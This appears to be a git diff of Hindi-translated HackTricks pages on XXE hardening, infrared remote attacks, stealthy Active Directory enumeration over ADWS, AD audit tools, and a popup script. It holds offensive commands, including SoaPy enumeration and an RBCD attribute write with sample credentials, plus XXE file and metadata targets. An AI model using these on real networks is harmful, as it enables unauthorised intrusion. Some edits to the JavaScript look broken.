यदि एप्लिकेशन को आंतरिक रूप से DTD का समर्थन करना चाहिए, तो `disallow-doctype-decl` को निष्क्रिय रखें लेकिन **हमेशा** दो `external-*-entities` सुविधाओं को `false` पर सेट रखें। यह संयोजन पारंपरिक फ़ाइल-प्रकटीकरण पेलोड (`file:///etc/passwd`) और नेटवर्क-आधारित SSRF वेक्टर (`http://169.254.169.254/…`, `jar:` प्रोटोकॉल, आदि) को रोकता है।
|
||||
यदि एप्लिकेशन को आंतरिक रूप से DTD का समर्थन करना है, तो `disallow-doctype-decl` को निष्क्रिय रखें लेकिन **हमेशा** दो `external-*-entities` सुविधाओं को `false` पर सेट रखें। यह संयोजन पारंपरिक फ़ाइल-प्रकटीकरण पेलोड (`file:///etc/passwd`) और नेटवर्क-आधारित SSRF वेक्टर (`http://169.254.169.254/…`, `jar:` प्रोटोकॉल, आदि) को रोकता है।
|
||||
|
||||
वास्तविक दुनिया का केस अध्ययन: **CVE-2025-27136** Java S3 इम्यूलेटर *LocalS3* में ऊपर दिखाए गए कमजोर कंस्ट्रक्टर का उपयोग किया गया। एक अनधिकृत हमलावर `CreateBucketConfiguration` एंडपॉइंट पर एक तैयार XML बॉडी प्रदान कर सकता था और सर्वर को स्थानीय फ़ाइलें (उदाहरण के लिए `/etc/passwd`) HTTP प्रतिक्रिया में एम्बेड करने के लिए मजबूर कर सकता था।
|
||||
वास्तविक दुनिया का केस स्टडी: **CVE-2025-27136** Java S3 इम्यूलेटर *LocalS3* में उपरोक्त कमजोर कंस्ट्रक्टर का उपयोग किया गया। एक अनधिकृत हमलावर `CreateBucketConfiguration` एंडपॉइंट पर एक तैयार XML बॉडी प्रदान कर सकता था और सर्वर को स्थानीय फ़ाइलें (उदाहरण के लिए `/etc/passwd`) HTTP प्रतिक्रिया में एम्बेड करने के लिए मजबूर कर सकता था।
|
||||
|
||||
## संदर्भ
|
||||
|
||||
|
@ -6,7 +6,7 @@
|
||||
|
||||
**इन्फ्रारेड प्रकाश मनुष्यों के लिए अदृश्य है**। IR तरंग दैर्ध्य **0.7 से 1000 माइक्रोन** के बीच है। घरेलू रिमोट डेटा ट्रांसमिशन के लिए IR सिग्नल का उपयोग करते हैं और 0.75..1.4 माइक्रोन के तरंग दैर्ध्य रेंज में काम करते हैं। रिमोट में एक माइक्रोकंट्रोलर एक इन्फ्रारेड LED को एक विशिष्ट आवृत्ति के साथ चमकाता है, डिजिटल सिग्नल को IR सिग्नल में बदलता है।
|
||||
|
||||
IR सिग्नल प्राप्त करने के लिए एक **फोटो रिसीवर** का उपयोग किया जाता है। यह **IR प्रकाश को वोल्टेज पल्स में परिवर्तित करता है**, जो पहले से ही **डिजिटल सिग्नल** होते हैं। आमतौर पर, रिसीवर के अंदर एक **डार्क लाइट फ़िल्टर होता है**, जो **केवल इच्छित तरंग दैर्ध्य को पारित करता है** और शोर को काटता है।
|
||||
IR सिग्नल प्राप्त करने के लिए एक **फोटो रिसीवर** का उपयोग किया जाता है। यह **IR प्रकाश को वोल्टेज पल्स में परिवर्तित करता है**, जो पहले से ही **डिजिटल सिग्नल** होते हैं। आमतौर पर, रिसीवर के अंदर एक **डार्क लाइट फ़िल्टर** होता है, जो **केवल इच्छित तरंग दैर्ध्य को पारित करता है** और शोर को काटता है।
|
||||
|
||||
### Variety of IR Protocols <a href="#variety-of-ir-protocols" id="variety-of-ir-protocols"></a>
|
||||
|
||||
@ -63,8 +63,8 @@ NEC **कमांड**, प्रीएंबल के अलावा, एक
|
||||
|
||||
### Air Conditioners
|
||||
|
||||
अन्य रिमोट के विपरीत, **एयर कंडीशनर केवल दबाए गए बटन का कोड नहीं भेजते**। वे यह सुनिश्चित करने के लिए **सभी जानकारी भेजते हैं** कि **एयर कंडीशनिंग मशीन और रिमोट समन्वयित हैं**।\
|
||||
यह सुनिश्चित करेगा कि 20ºC पर सेट की गई मशीन को एक रिमोट के साथ 21ºC पर नहीं बढ़ाया जाएगा, और फिर जब दूसरे रिमोट का उपयोग किया जाएगा, जो अभी भी 20ºC पर है, तो तापमान को और बढ़ाने पर यह "21ºC" (और 22ºC नहीं) पर "बढ़ाएगा"।
|
||||
अन्य रिमोट के विपरीत, **एयर कंडीशनर केवल दबाए गए बटन का कोड नहीं भेजते**। वे बटन दबाए जाने पर **सभी जानकारी** भी भेजते हैं ताकि यह सुनिश्चित हो सके कि **एयर कंडीशनिंग मशीन और रिमोट समन्वयित हैं**।\
|
||||
यह सुनिश्चित करेगा कि 20ºC पर सेट मशीन को एक रिमोट से 21ºC पर नहीं बढ़ाया जाएगा, और फिर जब एक अन्य रिमोट, जो अभी भी 20ºC पर है, का उपयोग किया जाएगा, तो यह तापमान को और अधिक बढ़ाएगा, यह इसे 21ºC (और 22ºC नहीं सोचते हुए) "बढ़ाएगा"।
|
||||
|
||||
---
|
||||
|
||||
@ -78,7 +78,7 @@ flipper-zero/fz-infrared.md
|
||||
|
||||
### Smart-TV / Set-top Box Takeover (EvilScreen)
|
||||
|
||||
हालिया अकादमिक कार्य (EvilScreen, 2022) ने प्रदर्शित किया कि **मल्टी-चैनल रिमोट जो इन्फ्रारेड को ब्लूटूथ या वाई-फाई के साथ जोड़ते हैं, आधुनिक स्मार्ट-टीवी को पूरी तरह से हाईजैक करने के लिए दुरुपयोग किया जा सकता है**। यह हमला उच्च-प्राधिकार IR सेवा कोड को प्रमाणित ब्लूटूथ पैकेटों के साथ जोड़ता है, चैनल-आइसोलेशन को बायपास करता है और मनमाने ऐप लॉन्च, माइक्रोफोन सक्रियण, या भौतिक पहुंच के बिना फैक्टरी-रीसेट की अनुमति देता है। विभिन्न विक्रेताओं के आठ मुख्यधारा के टीवी — जिसमें एक सैमसंग मॉडल ISO/IEC 27001 अनुपालन का दावा करता है — को कमजोर पाया गया। शमन के लिए विक्रेता फर्मवेयर फिक्स या अप्रयुक्त IR रिसीवर्स को पूरी तरह से बंद करने की आवश्यकता होती है।
|
||||
हालिया अकादमिक कार्य (EvilScreen, 2022) ने प्रदर्शित किया कि **मल्टी-चैनल रिमोट जो इन्फ्रारेड को ब्लूटूथ या वाई-फाई के साथ जोड़ते हैं, का उपयोग आधुनिक स्मार्ट-टीवी को पूरी तरह से हाईजैक करने के लिए किया जा सकता है**। यह हमला उच्च-privilege IR सेवा कोड को प्रमाणित ब्लूटूथ पैकेटों के साथ जोड़ता है, चैनल-आइसोलेशन को बायपास करता है और मनमाने ऐप लॉन्च, माइक्रोफोन सक्रियण, या भौतिक पहुंच के बिना फैक्ट्री-रीसेट की अनुमति देता है। विभिन्न विक्रेताओं के आठ मुख्यधारा के टीवी — जिसमें एक सैमसंग मॉडल ISO/IEC 27001 अनुपालन का दावा करता है — को कमजोर पाया गया। शमन के लिए विक्रेता फर्मवेयर फिक्स या अप्रयुक्त IR रिसीवर्स को पूरी तरह से बंद करने की आवश्यकता होती है।
|
||||
|
||||
### Air-Gapped Data Exfiltration via IR LEDs (aIR-Jumper family)
|
||||
|
||||
@ -118,7 +118,7 @@ delay(5000);
|
||||
}
|
||||
```
|
||||
* **IRscrutinizer / AnalysIR** – GUI डिकोडर जो कच्चे कैप्चर को आयात करते हैं और प्रोटोकॉल को स्वचालित रूप से पहचानते हैं + Pronto/Arduino कोड उत्पन्न करते हैं।
|
||||
* **LIRC / ir-keytable (Linux)** – कमांड लाइन से IR प्राप्त और इंजेक्ट करें:
|
||||
* **LIRC / ir-keytable (Linux)** – कमांड लाइन से IR प्राप्त करें और इंजेक्ट करें:
|
||||
```bash
|
||||
sudo ir-keytable -p nec,rc5 -t # लाइव-डंप डिकोडेड स्कैनकोड
|
||||
irsend SEND_ONCE samsung KEY_POWER
|
||||
@ -128,10 +128,10 @@ irsend SEND_ONCE samsung KEY_POWER
|
||||
|
||||
## Defensive Measures <a href="#defense" id="defense"></a>
|
||||
|
||||
* सार्वजनिक स्थानों में तैनात उपकरणों पर IR रिसीवर्स को बंद करें या ढकें जब आवश्यक न हो।
|
||||
* जब आवश्यक न हो, तो सार्वजनिक स्थानों में तैनात उपकरणों पर IR रिसीवर्स को बंद या कवर करें।
|
||||
* स्मार्ट-टीवी और रिमोट के बीच *पैरिंग* या क्रिप्टोग्राफिक जांच लागू करें; विशेषाधिकार प्राप्त "सेवा" कोड को अलग करें।
|
||||
* वर्गीकृत क्षेत्रों के चारों ओर IR-कट फ़िल्टर या निरंतर-तरंग डिटेक्टर लागू करें ताकि ऑप्टिकल गुप्त चैनलों को तोड़ा जा सके।
|
||||
* नियंत्रित IR LEDs को उजागर करने वाले कैमरों/IoT उपकरणों के फर्मवेयर अखंडता की निगरानी करें।
|
||||
* वर्गीकृत क्षेत्रों के चारों ओर IR-कट फ़िल्टर या निरंतर-तरंग डिटेक्टर्स लागू करें ताकि ऑप्टिकल गुप्त चैनलों को तोड़ा जा सके।
|
||||
* नियंत्रित IR LEDs को उजागर करने वाले कैमरों/IoT उपकरणों की फर्मवेयर अखंडता की निगरानी करें।
|
||||
|
||||
## References
|
||||
|
||||
|
@ -4,11 +4,11 @@
|
||||
|
||||
## ADWS क्या है?
|
||||
|
||||
Active Directory Web Services (ADWS) **Windows Server 2008 R2 से हर Domain Controller पर डिफ़ॉल्ट रूप से सक्षम है** और TCP **9389** पर सुनता है। नाम के बावजूद, **HTTP शामिल नहीं है**। इसके बजाय, यह सेवा LDAP-शैली के डेटा को एक प्रॉपराइटरी .NET फ्रेमिंग प्रोटोकॉल के स्टैक के माध्यम से उजागर करती है:
|
||||
Active Directory Web Services (ADWS) **Windows Server 2008 R2 से हर Domain Controller पर डिफ़ॉल्ट रूप से सक्षम है** और TCP **9389** पर सुनता है। नाम के बावजूद, **HTTP शामिल नहीं है**। इसके बजाय, यह सेवा LDAP-शैली के डेटा को एक मालिकाना .NET फ्रेमिंग प्रोटोकॉल के स्टैक के माध्यम से उजागर करती है:
|
||||
|
||||
* MC-NBFX → MC-NBFSE → MS-NNS → MC-NMF
|
||||
|
||||
चूंकि ट्रैफ़िक इन बाइनरी SOAP फ्रेमों के अंदर संकुचित होता है और एक असामान्य पोर्ट पर यात्रा करता है, **ADWS के माध्यम से एन्यूमरेशन की संभावना कम होती है कि इसे निरीक्षण, फ़िल्टर या सिग्नेचर किया जाएगा, क्लासिक LDAP/389 & 636 ट्रैफ़िक की तुलना में**। ऑपरेटरों के लिए इसका मतलब है:
|
||||
चूंकि ट्रैफ़िक इन बाइनरी SOAP फ्रेमों के अंदर संकुचित होता है और एक असामान्य पोर्ट पर यात्रा करता है, **ADWS के माध्यम से एन्यूमरेशन की संभावना क्लासिक LDAP/389 & 636 ट्रैफ़िक की तुलना में बहुत कम होती है कि इसकी जांच, फ़िल्टर या सिग्नेचर किया जाए**। ऑपरेटरों के लिए इसका मतलब है:
|
||||
|
||||
* अधिक छिपा हुआ पुनःसंशोधन – नीली टीमें अक्सर LDAP क्वेरी पर ध्यान केंद्रित करती हैं।
|
||||
* **गैर-Windows होस्ट (Linux, macOS)** से 9389/TCP को SOCKS प्रॉक्सी के माध्यम से टनलिंग करके संग्रह करने की स्वतंत्रता।
|
||||
@ -56,9 +56,9 @@ soapy ludus.domain/jdoe:'P@ssw0rd'@10.2.10.10 \
|
||||
```bash
|
||||
bofhound -i data --zip # produces BloodHound.zip
|
||||
```
|
||||
5. **ZIP अपलोड करें** BloodHound GUI में और साइफर क्वेरीज़ चलाएँ जैसे `MATCH (u:User)-[:Can_Enroll*1..]->(c:CertTemplate) RETURN u,c` ताकि प्रमाणपत्र वृद्धि पथ (ESC1, ESC8, आदि) प्रकट हो सकें।
|
||||
5. **ZIP अपलोड करें** BloodHound GUI में और साइफर क्वेरीज़ चलाएँ जैसे `MATCH (u:User)-[:Can_Enroll*1..]->(c:CertTemplate) RETURN u,c` ताकि सर्टिफिकेट वृद्धि पथ (ESC1, ESC8, आदि) प्रकट हो सकें।
|
||||
|
||||
### `msDs-AllowedToActOnBehalfOfOtherIdentity` (RBCD) लिखना
|
||||
### लिखना `msDs-AllowedToActOnBehalfOfOtherIdentity` (RBCD)
|
||||
```bash
|
||||
soapy ludus.domain/jdoe:'P@ssw0rd'@dc.ludus.domain \
|
||||
--set 'CN=Victim,OU=Servers,DC=ludus,DC=domain' \
|
||||
@ -92,9 +92,9 @@ Elastic pre-built rule example:
|
||||
|
||||
| Purpose | Tool | Notes |
|
||||
|---------|------|-------|
|
||||
| ADWS enumeration | [SoaPy](https://github.com/logangoins/soapy) | Python, SOCKS, पढ़ें/लिखें |
|
||||
| ADWS enumeration | [SoaPy](https://github.com/logangoins/soapy) | Python, SOCKS, read/write |
|
||||
| BloodHound ingest | [BOFHound](https://github.com/bohops/BOFHound) | SoaPy/ldapsearch लॉग को परिवर्तित करता है |
|
||||
| Cert compromise | [Certipy](https://github.com/ly4k/Certipy) | समान SOCKS के माध्यम से प्रॉक्सी किया जा सकता है |
|
||||
| Cert compromise | [Certipy](https://github.com/ly4k/Certipy) | इसे उसी SOCKS के माध्यम से प्रॉक्सी किया जा सकता है |
|
||||
|
||||
## References
|
||||
|
||||
|
@ -6,7 +6,7 @@
|
||||
adws-enumeration.md
|
||||
{{#endref}}
|
||||
|
||||
> नोट: यह पृष्ठ कुछ सबसे उपयोगी उपयोगिताओं को **enumerate** और **visualise** Active Directory संबंधों के लिए समूहित करता है। चुपके से **Active Directory Web Services (ADWS)** चैनल के माध्यम से संग्रह के लिए ऊपर दिए गए संदर्भ की जांच करें।
|
||||
> NOTE: यह पृष्ठ कुछ सबसे उपयोगी उपयोगिताओं को **enumerate** और **visualise** Active Directory संबंधों को समूहित करता है। चुपके से **Active Directory Web Services (ADWS)** चैनल के माध्यम से संग्रह के लिए ऊपर दिए गए संदर्भ की जांच करें।
|
||||
|
||||
---
|
||||
|
||||
@ -15,7 +15,7 @@ adws-enumeration.md
|
||||
[AD Explorer](https://docs.microsoft.com/en-us/sysinternals/downloads/adexplorer) (Sysinternals) एक उन्नत **AD viewer & editor** है जो अनुमति देता है:
|
||||
|
||||
* निर्देशिका पेड़ का GUI ब्राउज़िंग
|
||||
* ऑब्जेक्ट विशेषताओं और सुरक्षा विवरणों का संपादन
|
||||
* ऑब्जेक्ट विशेषताओं और सुरक्षा वर्णनकर्ताओं का संपादन
|
||||
* ऑफ़लाइन विश्लेषण के लिए स्नैपशॉट निर्माण / तुलना
|
||||
|
||||
### त्वरित उपयोग
|
||||
@ -71,7 +71,7 @@ Group3r.exe -f gpo.log # -s to stdout
|
||||
|
||||
## PingCastle
|
||||
|
||||
[PingCastle](https://www.pingcastle.com/documentation/) Active Directory का **स्वास्थ्य-चेक** करता है और जोखिम स्कोरिंग के साथ एक HTML रिपोर्ट उत्पन्न करता है।
|
||||
[PingCastle](https://www.pingcastle.com/documentation/) Active Directory का **health-check** करता है और जोखिम स्कोरिंग के साथ एक HTML रिपोर्ट उत्पन्न करता है।
|
||||
```powershell
|
||||
PingCastle.exe --healthcheck --server corp.local --user bob --password "P@ssw0rd!"
|
||||
```
|
||||
|
24
theme/ai.js
24
theme/ai.js
@ -1,6 +1,6 @@
|
||||
/**
|
||||
* HackTricks Training Discounts
|
||||
*/
|
||||
|
||||
|
||||
|
||||
(() => {
|
||||
@ -9,13 +9,13 @@
|
||||
const TXT = 'Click here for HT Summer Discounts, Last Days!';
|
||||
const URL = 'https://training.hacktricks.xyz';
|
||||
|
||||
/* Stop if user already dismissed */
|
||||
// Stop if user already dismissed
|
||||
if (localStorage.getItem(KEY) === 'true') return;
|
||||
|
||||
/* Quick helper */
|
||||
// Quick helper
|
||||
const $ = (tag, css = '') => Object.assign(document.createElement(tag), { style: css });
|
||||
|
||||
/* --- Overlay (blur + dim) --- */
|
||||
// --- Overlay (blur + dim) ---
|
||||
const overlay = $('div', `
|
||||
position: fixed; inset: 0;
|
||||
background: rgba(0,0,0,.4);
|
||||
@ -24,7 +24,7 @@
|
||||
z-index: 10000;
|
||||
`);
|
||||
|
||||
/* --- Modal --- */
|
||||
// --- Modal ---
|
||||
const modal = $('div', `
|
||||
max-width: 90vw; width: 480px;
|
||||
background: #fff; border-radius: 12px; overflow: hidden;
|
||||
@ -33,10 +33,10 @@
|
||||
display: flex; flex-direction: column; align-items: stretch;
|
||||
`);
|
||||
|
||||
/* --- Title bar (link + close) --- */
|
||||
// --- Title bar (link + close) ---
|
||||
const titleBar = $('div', `
|
||||
position: relative;
|
||||
padding: 1rem 2.5rem 1rem 1rem; /* room for the close button */
|
||||
padding: 1rem 2.5rem 1rem 1rem; // room for the close button
|
||||
text-align: center;
|
||||
background: #222; color: #fff;
|
||||
font-size: 1.3rem; font-weight: 700;
|
||||
@ -53,7 +53,7 @@
|
||||
link.textContent = TXT;
|
||||
titleBar.appendChild(link);
|
||||
|
||||
/* Close "X" (no persistence) */
|
||||
// Close "X" (no persistence)
|
||||
const closeBtn = $('button', `
|
||||
position: absolute; top: .25rem; right: .5rem;
|
||||
background: transparent; border: none;
|
||||
@ -65,11 +65,11 @@
|
||||
closeBtn.onclick = () => overlay.remove();
|
||||
titleBar.appendChild(closeBtn);
|
||||
|
||||
/* --- Image --- */
|
||||
// --- Image ---
|
||||
const img = $('img');
|
||||
img.src = IMG; img.alt = TXT; img.style.width = '100%';
|
||||
|
||||
/* --- Checkbox row --- */
|
||||
// --- Checkbox row ---
|
||||
const label = $('label', `
|
||||
display: flex; align-items: center; justify-content: center; gap: .6rem;
|
||||
padding: 1rem; font-size: 1rem; color: #222; cursor: pointer;
|
||||
@ -83,7 +83,7 @@
|
||||
};
|
||||
label.append(cb, document.createTextNode("Don't show again"));
|
||||
|
||||
/* --- Assemble & inject --- */
|
||||
// --- Assemble & inject ---
|
||||
modal.append(titleBar, img, label);
|
||||
overlay.appendChild(modal);
|
||||
|
||||
@ -93,7 +93,7 @@
|
||||
document.body.appendChild(overlay);
|
||||
}
|
||||
})();
|
||||
|
||||
*/
|
||||
|
||||
|
||||
/**
|
||||
|
Loading…
x
Reference in New Issue
Block a user